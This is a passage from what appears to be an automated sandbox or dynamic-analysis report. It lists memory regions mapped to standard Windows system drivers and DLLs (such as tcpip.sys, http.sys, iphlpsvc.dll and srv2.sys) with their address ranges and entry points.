end_va = 0x1af8afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 8913 start_va = 0x1aef0000 end_va = 0x1af75fff monitored = 0 entry_point = 0x1af61000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 8914 start_va = 0x1af80000 end_va = 0x1af8afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 8915 start_va = 0x1aef0000 end_va = 0x1af75fff monitored = 0 entry_point = 0x1af61000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 8916 start_va = 0x1af80000 end_va = 0x1af8afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 8917 start_va = 0x1aef0000 end_va = 0x1af75fff monitored = 0 entry_point = 0x1af61000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 8918 start_va = 0x1af80000 end_va = 0x1af8afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 8919 start_va = 0x1aef0000 end_va = 0x1afa7fff monitored = 0 entry_point = 0x1aef1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 8920 start_va = 0x1afb0000 end_va = 0x1afb5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 8921 start_va = 0x1aef0000 end_va = 0x1afa7fff monitored = 0 entry_point = 0x1aef1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 8922 start_va = 0x1afb0000 end_va = 0x1afb5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 8923 start_va = 0x1aef0000 end_va = 0x1afa7fff monitored = 0 entry_point = 0x1aef1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 8924 start_va = 0x1afb0000 end_va = 0x1afb5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 8925 start_va = 0x1aef0000 end_va = 0x1afa7fff monitored = 0 entry_point = 0x1aef1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 8926 start_va = 0x1afb0000 end_va = 0x1afb5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 8927 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8928 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8929 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8930 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8931 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8932 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8933 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8934 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8935 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8936 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8937 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8938 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8939 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8940 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8941 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8942 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8943 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8944 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8945 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8946 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8947 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8948 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8949 start_va = 0x1aef0000 end_va = 0x1afe2fff monitored = 0 entry_point = 0x1af15d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8950 start_va = 0x1aff0000 end_va = 0x1affcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8951 start_va = 0x1aef0000 end_va = 0x1aefefff monitored = 0 entry_point = 0x1aef36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 8952 start_va = 0x1af00000 end_va = 0x1af01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 8953 start_va = 0x1aef0000 end_va = 0x1aefefff monitored = 0 entry_point = 0x1aef36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 8954 start_va = 0x1af00000 end_va = 0x1af01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 8955 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8956 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8957 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8958 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8959 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8960 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8961 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8962 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8963 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8964 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8965 start_va = 0x1aef0000 end_va = 0x1af0afff monitored = 1 entry_point = 0x1aef1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 8966 start_va = 0x1af10000 end_va = 0x1af1bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 8967 start_va = 0x1aef0000 end_va = 0x1affefff monitored = 0 entry_point = 0x1af2c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 8968 start_va = 0x1b000000 end_va = 0x1b001fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 8969 start_va = 0x1aef0000 end_va = 0x1affefff monitored = 0 entry_point = 0x1af2c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 8970 start_va = 0x1b000000 end_va = 0x1b001fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 8971 start_va = 0x1aef0000 end_va = 0x1af05fff monitored = 0 entry_point = 0x1aef3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 8972 start_va = 0x1af10000 end_va = 0x1af11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 8973 start_va = 0x1aef0000 end_va = 0x1af05fff monitored = 0 entry_point = 0x1aef3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 8974 start_va = 0x1af10000 end_va = 0x1af11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 8975 start_va = 0x1aef0000 end_va = 0x1af05fff monitored = 0 entry_point = 0x1aef3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 8976 start_va = 0x1af10000 end_va = 0x1af11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 8977 start_va = 0x1aef0000 end_va = 0x1af05fff monitored = 0 entry_point = 0x1aef3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 8978 start_va = 0x1af10000 end_va = 0x1af11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 8979 start_va = 0x1aef0000 end_va = 0x1af06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 8980 start_va = 0x1ecf0000 end_va = 0x1ef46fff monitored = 0 entry_point = 0x1eefce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 8981 start_va = 0x1aef0000 end_va = 0x1af06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 8982 start_va = 0x1ecf0000 end_va = 0x1ef46fff monitored = 0 entry_point = 0x1eefce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 8983 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8984 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8985 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8986 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8987 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8988 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8989 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8990 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8991 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8992 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8993 start_va = 0x1aef0000 end_va = 0x1b000fff monitored = 0 entry_point = 0x1afe1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 8994 start_va = 0x1b010000 end_va = 0x1b019fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 8995 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 8996 start_va = 0x1af00000 end_va = 0x1af0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 8997 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 8998 start_va = 0x1af00000 end_va = 0x1af0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 8999 start_va = 0x1aef0000 end_va = 0x1aef6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 9000 start_va = 0x1ecf0000 end_va = 0x1f0f7fff monitored = 0 entry_point = 0x1edbe3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 9001 start_va = 0x1aef0000 end_va = 0x1aef6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 9002 start_va = 0x1ecf0000 end_va = 0x1f0f7fff monitored = 0 entry_point = 0x1edbe3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 9003 start_va = 0x1aef0000 end_va = 0x1aef6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 9004 start_va = 0x1ecf0000 end_va = 0x1f0f7fff monitored = 0 entry_point = 0x1edbe3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 9005 start_va = 0x1aef0000 end_va = 0x1aef6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 9006 start_va = 0x1ecf0000 end_va = 0x1f0f7fff monitored = 0 entry_point = 0x1edbe3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 9007 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9008 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9009 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9010 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9011 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9012 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9013 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9014 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9015 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 